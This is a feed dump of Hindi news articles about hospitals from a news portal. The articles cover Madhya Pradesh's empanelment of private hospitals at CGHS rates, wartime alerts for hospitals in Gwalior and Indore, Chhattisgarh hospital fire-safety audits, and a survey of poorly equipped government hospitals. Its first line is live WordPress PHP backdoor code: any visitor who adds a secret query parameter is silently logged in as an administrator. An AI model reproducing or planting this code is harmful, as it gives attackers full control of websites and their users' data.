// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); hospitals – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 24 May 2025 09:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 एमपी सरकार ने 50 निजी अस्पतालों को लिस्टेड किया, सरकारी कर्मचारी CGHS दरों पर इलाज करा सकेंगे, क्या-क्या सुविधाएं मिलेंगी https://pratyushaashakinayikiran.com/?p=158697 Sat, 24 May 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=158697 भोपाल

मध्य प्रदेश सरकार ने सरकारी कर्मचारियों को बड़ी राहत दी है। राज्य सरकार ने प्रदेश के कर्मचारियों के इलाज के लिए निजी अस्पतालों का इंपेनलमेंट किया है। अब प्रदेश के अधिकारी और कर्मचारी इन अस्पतालों में अपना इलाज करा सकेंगे। इस फैसले से कर्मचारियों को बेहतर चिकित्सा सुविधाएं मिल सकेंगी। इन अस्पतालों में कर्मचारी भोपाल सीजीएचएस दरों पर इलाज करा सकेंगे। सरकार ने 55 अस्पतालों की लिस्ट जारी की है।

ऑपरेशन से लेकर आईसीयू और नर्सिंग सेवाएं होंगी शामिल

    सरकार द्वारा तय की गई पैकेज दरों में रजिस्ट्रेशन, एडमिशन, ऑपरेशन, जांच, दवाएं, आईसीयू, डॉक्टर की फीस, फिजियोथेरेपी और नर्सिंग सेवाएं शामिल हैं। अस्पतालों को निर्देश दिया गया है कि वे किसी भी मरीज से अलग से दवाएं या चिकित्सा उपकरण खरीदने के लिए बाध्य न करें। सभी सेवाओं का खर्च तय पैकेज में शामिल होगा।

इन 55 अस्पतालों का नाम शामिल

बिना सूचना मान्यता होगी रद्द

अगर कोई प्राइवेट अस्पताल तय की गई दरों से अधिक चार्ज लेते हैं या फैसलिटी सरकार द्वारा तय मानकों से नीचे पाई जाती हैं, तो उस अस्पताल की मान्यता बिना पूर्व सूचना के तत्काल प्रभाव से रद्द की जा सकती है। इसका उद्देश्य मरीजों के साथ पारदर्शिता और गुणवत्ता बनाए रखना है।

सीजीएचएस भोपाल ने अपने पैकेज में विभिन्न चिकित्सा सेवाओं के लिए शुल्क निर्धारित किए हैं।

    रजिस्ट्रेशन शुल्क
    एडमिशन शुल्क
    भर्ती और मरीज का भोजन
    ऑपरेशन शुल्क
    ऑपरेशन थिएटर शुल्क
    इंजेक्शन शुल्क
    ड्रेसिंग शुल्क
    डॉक्टर की फीस
    दवाओं की लागत
    प्रोसीजर फीस
    सर्जन फीस
    एनेस्थीसिया शुल्क
    जांच शुल्क
    सर्जिकल डिस्पोजेबल और अन्य सामग्री की लागत
    फिजियोथेरेपी शुल्क
    नर्सिंग देखभाल शुल्क

इलाज के लिए जरूरी होंगे सरकारी पहचान पत्र और कर्मचारी आईडी

सरकारी कर्मचारियों को इलाज के लिए अपना पहचान पत्र, आधार कार्ड और कर्मचारी आईडी प्रस्तुत करना अनिवार्य होगा। साथ ही अस्पतालों को रिसेप्शन पर इलाज की सूची और मान्यता की वैधता स्पष्ट रूप से प्रदर्शित करनी होगी, जिससे भ्रम की स्थिति न बने और मरीजों को पूरा लाभ मिल सके।

रूम के हिसाब से दरें तय, जनरल और प्राइवेट वार्ड में होगा फर्क

सीजीएचएस दरें सेमी प्राइवेट वार्ड के लिए मान्य होंगी। यदि मरीज जनरल वार्ड का चयन करता है तो 10% कम राशि प्रतिपूर्ति योग्य होगी। वहीं, प्राइवेट वार्ड में इलाज के लिए 15% अधिक राशि प्रतिपूर्ति के अंतर्गत आ सकती है। इससे कर्मचारियों को अपनी आवश्यकता और सुविधा के अनुसार विकल्प मिलेंगे।

क्या हैं CGHS दरें

केंद्र सरकार स्वास्थ्य योजना (CGHS) केंद्र सरकार की एक महत्वपूर्ण स्वास्थ्य योजना है, जिसका लाभ केंद्र सरकार के कर्मचारी, पेंशनभोगी और उनके परिवार के सदस्य उठा सकते हैं। इस योजना के तहत, सरकारी कर्मचारियों को अस्पताल में कैशलेस इलाज की सुविधा मिलती है। इसमें केंद्र इलाज के लिए अस्पताल को शुल्क निर्धारित करता है। अब एमपी में भी केंद्र की दरों के बराबर ही दरों पर ही सरकारी कर्मचारियों का इलाज होगा।

 

  • 50 से अधिक निजी अस्पतालों में एमपी सरकारी कर्मचारी अब इलाज करवा सकेंगे।
  • सीजीएचएस भोपाल की दरों पर सभी सेवाएं पैकेज में शामिल रहेंगी।
  • सरकारी पहचान पत्र और कर्मचारी आईडी दिखाना इलाज के लिए जरूरी होगा।
  • दर से अधिक शुल्क लेने पर अस्पताल की मान्यता तुरंत रद्द की जा सकती है।
  • जनरल, सेमी प्राइवेट और प्राइवेट वार्ड में प्रतिपूर्ति की दरें अलग-अलग तय होंगी।

17 तरह के चार्जेज CGHS भोपाल के पैकेज में शामिल

CGHS भोपाल ने जो पैकेज बनाया है उसमें 17 तरह के फ़ीस जैसे रजिस्ट्रेशन फ़ीस , एडमिशन फ़ीस, भर्ती एवं मरीज का भोजन, ऑपरेशन चार्ज, ऑपरेशन थियेटर चार्ज, इंजेक्शन चार्ज, ड्रेसिंग, डॉक्टर की फ़ीस, दवाएं, प्रोसेस फ़ीस, सर्जन फ़ीस, एनेस्थीसिया चार्ज, जांच शुल्क,  अस्पताल में भर्ती होने के दौरान इस्तेमाल होने वाले सर्जिकल डिस्पोजेबल और सभी तरह के सामान का चार्ज फिजियोथेरेपी, नर्सिंग देखभाल शुल्क आदि शामिल हैं।
लापरवाही पर इम्पेनल्ड सूची से बाहर हो जायेगा अस्पताल  

विभाग ने निर्देशित किया है कि इलाज कराने वाले शासकीय कर्मचारी अथवा उसके आश्रित के सम्बन्ध में शासन द्वारा वांछित जानकारी समय पर न भेजने, शासकीय कर्मचारियों अथवा उनके आश्रितों के उपचार हेतु निर्धारित सीजीएचएस भोपाल के पैकेज दर से अधिक शुल्क लेने, अस्पताल की स्वास्थ्य सुविधाएं उपयुक्त/मानक स्तर का न पाए जाने पर अथवा किसी भी प्रकार की अनियमितता पाए जाने पर यह अधिमान्यता किसी भी समय बिना पूर्व सूचना के समाप्त की जा सकेगी यानि अस्पताल को इम्पेनल्ड सूची से हटा दिया जायेगा।

क्या-क्या मिलेगा इस योजना में
इस योजना में किसी बीमा या एडवांस राशि की आवश्यकता नहीं होगी. सामान्य वार्ड में 10% कम राशि और निजी वार्ड में 15% अधिक राशि प्रतिपूर्ति योग्य है. डायलिसिस सहित डे केयर उपचार सुविधा शामिल है. सेमी प्राइवेट वार्ड के लिए CGHS दरें लागू होंगी

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ग्वालियर में अलर्ट मोड पर रहेंगे अस्पताल, सभी अधिकारी-कर्मचारी, डॉक्टर नहीं छोड़ सकेंगे मुख्यालय https://pratyushaashakinayikiran.com/?p=154675 Thu, 08 May 2025 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=154675 ग्वालियर

पाकिस्तान से लड़ाई की आशंका के बीच एमपी के ग्वालियर शहर में आपातकालीन स्थिति से निपटने के लिए जेएएच में तैयारी शुरू हो गई है। अस्पताल में जिस यूनिट की ड्यूटी इमरजेंसी में रहेगी, वह संपूर्ण यूनिट अलर्ट मोड पर रहेगी। इस संबंध में जीआरएमसी के डीन डॉ. आरकेएस धाकड़ ने कॉलेज के बोर्ड रूम में निर्देश दिए कि सभी विभागाध्यक्ष, संबंधित इंचार्ज एवं अस्पताल प्रबंधन से जुड़े सभी अधिकारी एवं कर्मचारी अपना फोन 24 घंटे चालू रखेंगे।

पानी, बिजली और अग्नि सुरक्षा के लिए अलग-अलग दल गठित किए जाएं। जेएएच के अधीक्षक डॉ. सुधीर सक्सेना और सुपर स्पेशलिटी ब्लॉक अधीक्षक डॉ. गिरजाशंकर गुप्ता को निर्देश दिए कि आईसीयू व वार्ड में उपलब्ध बिस्तरों की संख्या के साथ प्रतिदिन भर्ती और डिस्चार्ज होने वाले मरीजों की जानकारी उपलब्ध कराएं।
ट्रॉमा के एक्सटेंशन की करें व्यवस्था

आपात स्थिति में ट्रॉमा का एक्सटेंशन किस स्थान पर एवं कितनी संख्या में किया जा सकता है, इसकी तैयारी करके रखें। चिकित्सालय के सभी विभागों-वार्डों में इमरजेंसी दवाओं एवं अन्य आवश्यक दवाओं की उपलब्धता सुनिश्चित करें। चिकित्सालय में ऑक्सीजन की पर्याप्त उपलब्धता एवं अन्य वैकल्पिक व्यवस्थाएं सुनिश्चित किया जाना एवं मैनी फोल्ड संबंधित सभी व्यवस्था सुदृढ़ रखी जाएं।

एंबुलेंस के साथ स्ट्रेचर की रखें व्यवस्था

अस्पताल की सभी एंबुलेंस तैयार रखें। जो एंबुलेंस संचालन की स्थिति में नहीं हैं, उन्हें ठीक कराकर संचालन में लिया जा सकता है तो तत्काल ठीक कराएं। वहीं स्ट्रेचर पॉइंटों पर स्ट्रेचर तैयार रखें। कोई भी अधिकारी, कर्मचारी, डॉक्टर बिना अधोहस्ताक्षरकर्ता की लिखित अनुमति के मुख्यालय से बाहर नहीं जांएगे।

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एमवायएच सहित इंदौर के 253 अस्पतालों की छत पर रेडक्रॉस की प्रतिकृति बनाई गई https://pratyushaashakinayikiran.com/?p=154679 Thu, 08 May 2025 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=154679  इंदौर

एमपी के इंदौर शहर में देश में आपात स्थिति के साथ ही 8 मई को रेडक्रॉस डे होने पर शासन से मिले निर्देश के बाद एमवायएच सहित इंदौर शहर के 253 अस्पतालों की छत पर रेडक्रॉस की प्रतिकृति बनाई गई। 8 मई को रेडक्रॉस डे मनाया जाता है। वहीं फिलहाल आपात स्थिति को देखते हुए यह निर्देश दिए गए हैं। सीएमएचओ डॉ. बीएस सैत्या ने बताया कलेक्टर की तरफ से यह निर्देश प्राप्त हुए, जिसके बाद सभी अस्पतालों को सूचना दी गई।

क्यों बनाया जाता है रेडक्रॉस का साइन
अस्पतालों की छत पर रेडक्रॉस का साइन इसलिए बनाया जाता है ताकि यह स्पष्ट रूप से दर्शाया जा सके कि यह एक स्वास्थ्य सुविधा है। इसका उद्देश्य केवल घायलों का इलाज करना है। रेडक्रॉस का साइन एक अंतरराष्ट्रीय प्रतीक है जिसे जिनेवा संधियों के तहत मान्यता प्राप्त है। हवाई सेनाओं को सूचित करता है कि यहां केवल चिकित्सा कार्य हो रहे हैं।

प्रथम व द्वितीय विश्व युद्ध हो चुकी है मॉकड्रिल
प्रथम व द्वितीय विश्व युद्ध के दौरान भी इंदौर में मॉकड्रिल व ब्लैक आउट हो चुका है। इतिहासकार जफर अंसारी ने बताया कि प्रथम विश्व युद्ध व द्वितीय विश्व युद्ध के दौरान यह हुआ था। इसके बाद आजादी के बाद हुए दो युद्धों के दौरान भी ब्लैक आउट व मॉकड्रिल किया गया था।

प्रथम विश्व युद्ध के दौरान महाराजा बड़वानी को फ्रांस एंबुलेंस कोर में पोस्ट किया गया था। इंदौर में प्रथम विश्व युद्ध के दौरान मिल संचालकों व साहूकारों ने बड़ी सहायता भेजी थी। द्वितीय विश्व युद्ध के दौरान 1943 में ब्लैक आउट हुआ था व मॉकड्रिल भी हुई थी। उस दौरान महाराजा यशवंत राव होलकर ने इसे आयोजित कराई थी। रियासत के अंदर हवाई हमले, युद्ध से बचने के लिए लोगों को जागरूक किया था।

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छत्तीसगढ़-विधानसभा में उठा अस्पतालों की फायर सेफ्टी का उठा मुद्दा, स्वास्थ्य मंत्री ने बताया- ऑडिट के साथ जांच कमेटी गठित https://pratyushaashakinayikiran.com/?p=111574 Thu, 19 Dec 2024 17:35:00 +0000 https://pratyushaashakinayikiran.com/?p=111574 रायपुर।

छत्तीसगढ़ विधानसभा के शीतकालीन सत्र के तीसरे दिन सदस्यों ने अस्पतालों में फायर सेफ्टी का मुद्दा उठाया. स्वास्थ्य मंत्री श्याम बिहारी जायसवाल ने बताया कि वर्तमान में फ़ायरसेफ्टी सिस्टम का ऑडिट चल रही है. सरकार ने हर जिले में जांच के लिए कमेटी का भी गठन किया है.

छत्तीसगढ़ विधानसभा में तीसरे दिन की कार्यवाही शुरू होते ही छत्तीसगढ़ विधानसभा अध्यक्ष के तौर पर डॉ. रमन सिंह के कार्यकाल का आज एक साल पूरा होने पर सदस्यों ने उन्हें बधाई दी है. इसके बाद भाजपा विधायक धर्मजीत सिंह ने सवाल किया कि प्रदेश में कितने सरकारी और प्राइवेट अस्पताल है. इन अस्पतालों में फायर सेफ्टी सिस्टम के क्या प्रावधान है. फायर सेफ्टी सिस्टम का आडिट कब कब हुआ. जिन अस्पतालों में फायर सिस्टम अपडेट नहीं है, या सिस्टम नहीं है, उन पर क्या कार्रवाई हुई? जवाब में स्वास्थ्य मंत्री श्याम विहारी जैसवाल ने सदन को बताया कि प्रदेश में 1129 प्राइवेट अस्पताल हैं. सरकारी अस्पतालों के पंजीकरण का कोई प्रावधान नहीं है. छत्तीसगढ़ सरकार की 29 नवंबर 2022 की अधिसूचना के अनुसार, 30 से अधिक बिस्तर वाले और क्रिटिकल केयर यूनिट वाले अस्पतालों को फायर सेफ्टी प्रमाण पत्र लेना अनिवार्य है. जिन अस्पतालों में फायर सेफ्टी सिस्टम नहीं है, उनके लायसेंस सस्पेंड और निरस्तीकरण के साथ जुर्माने का भी प्रावधान है. राजेश मूणत ने अधूरे पड़े हमर क्लिनिक का मामला उठाया. इस पर स्वास्थ्य मंत्री जायसवाल ने बताया कि स्वास्थ्य विस्तार के लिए ‘हमर अस्पताल, हमर क्लिनिक’ योजना चलाई गई. 15वें वित्त आयोग ने 38 करोड़ से ज्यादा विभाग को भेजा है. वित्त विभाग ने विलंब किया, जिसके बाद राशि नहीं भेजी गई. इस पर जुर्माना भी लगाया है. जुर्माना नहीं पटाने तक अगली राशि नहीं मिलेगी. मंत्री ने स्पष्ट किया कि इस बार बजट में यह राशि रखी गयी है, दूसरी-तीसरी किस्त इसके बाद आ जाएगी. वहीं मूणत की हमर क्लिनिक में राज्य सरकार की क्या भूमिका है, कितने ड्रा होने चाहिए वाले सवाल पर मंत्री ने बताया कि हमर क्लिनिक में पांच मानव संसाधन होते हैं, जहां पूरा सेटअप होता है, वहां संचालित हो रहा है.

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सर्वे में खुलासा : देश के सरकारी अस्पतालों का हाल जान हैरान रह जाएंगे, 80 फीसदी स्वास्थ्य केंद्रों की हालत खराब https://pratyushaashakinayikiran.com/?p=46583 Sun, 30 Jun 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=46583 नई दिल्ली
 भारत में सरकारी अस्पतालों की हालत बहुत खराब है। एक रिपोर्ट में पता चला है कि 80% सरकारी अस्पतालों में बुनियादी सुविधाएं भी नहीं हैं। सरकार ने खुद यह रिपोर्ट तैयार की है। इस रिपोर्ट में बताया गया है कि सरकारी अस्पतालों में डॉक्टर, नर्स और जरूरी उपकरणों की भारी कमी है। यह रिपोर्ट 'नेशनल हेल्थ मिशन' (NHM) के तहत आने वाले सरकारी अस्पतालों की हालत बताती है। NHM सरकार की एक अहम योजना है जिसके तहत देश भर के जिला अस्पताल, सामुदायिक स्वास्थ्य केंद्र, प्राथमिक स्वास्थ्य केंद्र और आयुष्मान आरोग्य सेंटर्स आते हैं। रिपोर्ट में बताया गया है कि NHM के तहत आने वाले 2 लाख से ज्यादा अस्पतालों में से केवल 40,451 ने ही अपनी जानकारी सरकार को दी है।

डिजिटल टूल के जरिए ली गई जानकारी

सरकार ने अस्पतालों से जानकारी इकट्ठा करने के लिए 'इंडियन पब्लिक हेल्थ स्टैंडर्ड' (IPHS) नाम का एक डिजिटल टूल बनाया था। इस टूल के जरिए पता चला कि जानकारी देने वाले 40,451 अस्पतालों में से केवल 8,089 अस्पताल ही IPHS के मानकों पर खरे उतरे। यानी, इन अस्पतालों में ही मरीजों के इलाज के लिए बुनियादी सुविधाएं, डॉक्टर, नर्स और उपकरण मौजूद हैं। रिपोर्ट के मुताबिक, 42% अस्पतालों ने IPHS के मानकों पर 50% से भी कम अंक हासिल किए। बाकी के 15,172 अस्पतालों को 50 से 80% के बीच अंक मिले। सरकार ने यह सारी जानकारी IPHS के डैशबोर्ड पर सार्वजनिक कर दी है।

इसलिए सरकार ने तैयार करवाई रिपोर्ट

केंद्रीय स्वास्थ्य मंत्रालय के एक वरिष्ठ अधिकारी ने बताया कि यह रिपोर्ट इसलिए तैयार की गई है ताकि यह पता चल सके कि अस्पतालों में क्या कमियां हैं। उन्होंने बताया, 'हमारा मकसद यह सुनिश्चित करना है कि सभी सरकारी अस्पतालों में बुनियादी सुविधाएं, उपकरण और डॉक्टर मौजूद हों ताकि मरीजों को बेहतर इलाज मिल सके।' केंद्र का लक्ष्य है कि नई सरकार बनने के 100 दिनों के भीतर 70,000 सरकारी अस्पतालों को IPHS के मानकों के अनुसार बनाया जाए। एक वरिष्ठ अधिकारी ने बताया, 'हम राज्यों को अस्पतालों में सुधार के लिए पूरी मदद दे रहे हैं। हमारा मकसद सरकारी अस्पतालों में इलाज की गुणवत्ता में सुधार लाना है।'

अस्पतालों का औचक निरीक्षण करेंगे अफसर

अधिकारी ने बताया कि सरकार की ओर से अस्पतालों का औचक निरीक्षण भी किया जाएगा। इससे यह सुनिश्चित हो सके कि अस्पताल जो सरकार जानकारी दे रहे वो सही हैं या नहीं। IPHS के अलावा, 'नेशनल क्वालिटी अश्योरेंस स्टैंडर्ड' (NQAS) भी है जो अस्पतालों का मूल्यांकन करता है। NQAS अस्पतालों में दवाइयों की उपलब्धता, कचरा प्रबंधन, संक्रमण नियंत्रण और मरीजों के अधिकारों जैसे मानकों पर गौर करता है।

बेहतर सुविधाओं के लिए सरकार उठा रही कदम

अधिकारी ने बताया कि जिला अस्पतालों, सामुदायिक स्वास्थ्य केंद्रों और प्राथमिक स्वास्थ्य केंद्रों का NQAS मूल्यांकन पहले की तरह ही किया जाएगा। लेकिन, आयुष्मान आरोग्य मंदिर का मूल्यांकन अब वर्चुअली किया जाएगा। NHM के तहत सबसे ज्यादा आयुष्मान आरोग्य मंदिर आते हैं। NHM के तहत आने वाले अस्पतालों का 60 फीसदी खर्च केंद्र सरकार उठाती है जबकि बाकी 40% खर्च राज्य सरकारें उठाती हैं।

 

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